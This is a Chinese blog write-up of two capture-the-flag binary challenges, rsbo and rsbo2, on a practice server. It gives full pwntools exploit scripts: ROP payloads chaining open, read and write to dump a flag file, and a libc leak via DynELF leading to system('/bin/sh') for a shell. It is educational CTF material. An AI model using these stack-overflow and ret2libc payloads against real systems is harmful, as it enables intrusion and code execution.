rsbo和rsbo2的wp

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/niexinming/article/details/78620566

https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了rsbo和rsbo2这两个题目感觉还不错,我把wp分享出来,方便大家学习
rsbo的题目要求是:

nc hackme.inndy.tw 7706
Tips: ROP, open, read

把rsbo直接拖入ida中
main函数:
image
init函数:
image
这个程序首先在init函数中读取了flag文件到buf中,然后通过将buf中数据全部清空,然后进入到main函数中你能输入0x80个字节的数据到buf中,下面的for循环会随机破坏buf中数据,这会使你的exp在一定概率下会使程序崩溃,最后程序通过write把buf中数据输出,这个程序其实还是一个利用栈溢出的题目
先运行一下程序看一下这个程序干了啥
image
再看看程序开启了哪些保护:
image
看到NX enabled是开启了栈不可执行,这时ROP就有应用空间了
经过简单的探测,可以发现只要输入112个\x00就刚刚好覆盖到main函数的返回地址,为了读取到flag,首先要用open函数打开,然后用read来读,最后用write来显示出来
我的exp是:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x08048729'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

flag_addr=0x080487D0

pop_pop_ret=0x0804879e # pop edi ; pop ebp ; ret
pop_pop_pop_ret=0x0804879d # pop esi ; pop edi ; pop ebp ; ret

start_addr=0x08048490


elf = ELF('/home/h11p/hackme/rsbo')
open_addr=elf.plt["open"]
read_addr=elf.plt["read"]
write_addr=elf.plt["write"]
bss_addr=elf.bss()

#io = process('/home/h11p/hackme/rsbo')

io = remote('hackme.inndy.tw',7706)

'''
payload1 = "\x00"*108+p32(open_addr)+p32(pop_pop_ret)+p32(flag_addr)+p32(0)+p32(start_addr)
payload2 = "\x00"*108+p32(read_addr)+p32(start_addr)+p32(3)+p32(bss_addr)+p32(0x60)
payload3 = "\x00"*108+p32(write_addr)+p32(pop_pop_pop_ret)+p32(1)+p32(bss_addr)+p32(0x60)
'''
payload1=fit({108: p32(open_addr)+p32(pop_pop_ret)+p32(flag_addr)+p32(0)+p32(start_addr)}, filler = '\x00')
payload2=fit({108: p32(read_addr)+p32(start_addr)+p32(3)+p32(bss_addr)+p32(0x60)}, filler = '\x00')
payload3=fit({108: p32(write_addr)+p32(pop_pop_pop_ret)+p32(1)+p32(bss_addr)+p32(0x60)}, filler = '\x00')
#debug()
io.send(payload1)
io.send(payload2)
io.send(payload3)
io.interactive()

io.close()

解释payload1

payload1=fit({108: p32(open_addr)+p32(pop_pop_ret)+p32(flag_addr)+p32(0)+p32(start_addr)}, filler = '\x00')

首先fit函数的官方说明在http://docs.pwntools.com/en/stable/util/packing.html?highlight=fit,fit是一个填充函数,参数中的字典参数{key:value},其中key是填充的位置,value是填充的数据,filler是剩下位置填充的数据,我的payload1调用的是open函数,调用完成之后利用pop pop ret把栈中参数清空,使栈保持平衡,最后让程序调回程序的开头,也就是start位置p32(start_addr),这样程序在下次溢出的时候就可以利用read函数把文件内容读出来了
解释payload2:

payload2=fit({108: p32(read_addr)+p32(start_addr)+p32(3)+p32(bss_addr)+p32(0x60)}, filler = '\x00')

这里是程序的第二次溢出,利用溢出执行read(3,bss,60)就是把读到的文件内容存到bss段

解释payload3:

payload3=fit({108: p32(write_addr)+p32(pop_pop_pop_ret)+p32(1)+p32(bss_addr)+p32(0x60)}, filler = '\x00')

这里是程序的第三次溢出,利用溢出执行write(1,bss,60)就是把bss段的flag显示出来,同事为了不让程序崩溃,执行完write之后利用pop_pop_pop_ret使程序栈保持平衡
最后的效果是
image

rsbo2:
程序要求是:

nc hackme.inndy.tw 7706
Get shell please. Tips: stack migration
http://bruce30262.logdown.com/posts/301623-csaw-ctf-2015-autobots

由于rsbo和rsbo2程序是一个程序,rsbo2的要求就是getshell
所以我参考http://blog.csdn.net/smalosnail/article/details/53386353,由于上面这个文章中题目和rsbo2基本一样,都是利用write这个函数泄露内存中的关键信息,然后利用这些关键信息得到程序的基地址,libc版本,libc基地址,system函数的地址等,所以我的exp也和上面这个链接的差不多

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x08048729'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

elf = ELF('/home/h11p/hackme/rsbo')
open_addr=elf.plt["open"]
read_addr=elf.plt["read"]
write_addr=elf.plt["write"]
bss_addr=elf.bss()

io = process('/home/h11p/hackme/rsbo')

#io = remote('hackme.inndy.tw',7706)

start_addr=0x08048490
main_addr=0x0804867F
flag_addr=0x080487D0
pop_pop_ret=0x0804879e # pop edi ; pop ebp ; ret
pop_pop_pop_ret=0x0804879d # pop esi ; pop edi ; pop ebp ; ret

def leak(address):
    payload1 = "\x00" * 108 + p32(write_addr)+p32(start_addr) + p32(1) + p32(address) + p32(4)
    io.send(payload1)
    data = io.recv(4)
    log.info("%#x => %s" % (address, (data or '').encode('hex')))
    return data


#debug(addr=hex(read_addr))

d = DynELF(leak, elf=elf)
system_addr= d.lookup('system', 'libc')

print "system:"+hex(system_addr)
print "bss:"+hex(bss_addr)

payload2 = "\x00" * 108 + p32(read_addr) + p32(start_addr) + p32(0) + p32(bss_addr) + p32(9)
payload3 = "\x00" * 108 + p32(system_addr) + p32(start_addr) + p32(bss_addr)

io.send(payload2)
io.sendline("/bin/sh\0")
io.send(payload3)
io.interactive()

io.close()

由于rsbo中for循环会随机破坏内存,所以如果脚本会经常崩溃,在网络好情况下,基本反复尝试十几次就可以getshell了,效果是
image

没有更多推荐了,返回首页